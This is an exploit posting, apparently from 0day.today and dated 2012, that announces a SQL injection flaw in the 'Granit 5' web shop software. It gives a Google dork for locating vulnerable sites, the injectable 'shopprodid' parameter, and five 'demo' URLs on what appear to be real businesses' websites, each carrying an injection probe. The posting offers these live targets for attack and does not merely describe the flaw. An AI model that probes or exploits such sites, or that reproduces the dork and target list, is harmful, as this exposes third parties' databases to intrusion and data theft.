Granit 5 SQL Injection Vulnerability

X-------------------------------------------------------------X
 _____ _   _ _   _ _____ _____ _____  ___   _   _   _______   _______ ___________ 
|_   _| | | | \ | |_   _/  ___|_   _|/ _ \ | \ | | /  __ \ \ / / ___ \  ___| ___ \
  | | | | | |  \| | | | \ `--.  | | / /_\ \|  \| | | /  \/\ V /| |_/ / |__ | |_/ /
  | | | | | | . ` | | |  `--. \ | | |  _  || . ` | | |     \ / | ___ \  __||    / 
  | | | |_| | |\  |_| |_/\__/ /_| |_| | | || |\  | | \__/\ | | | |_/ / |___| |\ \ 
  \_/  \___/\_| \_/\___/\____/ \___/\_| |_/\_| \_/  \____/ \_/ \____/\____/\_| \_|
X-------------------------------------------------------------X                                                                                  


[+] Author: TUNISIAN CYBER
[+] Exploit Title:  Granit 5 SQL Injection Vulnerability
[+] Date: 06-09-2012
[+] Category: WebApp
[+] Google Dork: intext:website by granite 5 product.php?shopprodid=
[+] Tested on: Windows 7 Professionnel 


########################################################################################

Proof:

127.0.0.1/product.php?shopprodid=[number]

Demos:
http://www.esse.uk.com/product.php?shopprodid=12'
http://babymel.com/product.php?shopprodid=24'
http://www.fairmountweather.com/product.php?shopprodid=38'
http://www.bremed.co.uk/product.php?shopprodid=74'
http://www.prospeakercovers.co.uk/product.php?shopprodid=112'
########################################################################################
Greets to: Allah , And TN H4CK3RZ
########################################################################################



#  0day.today [2018-01-09]  #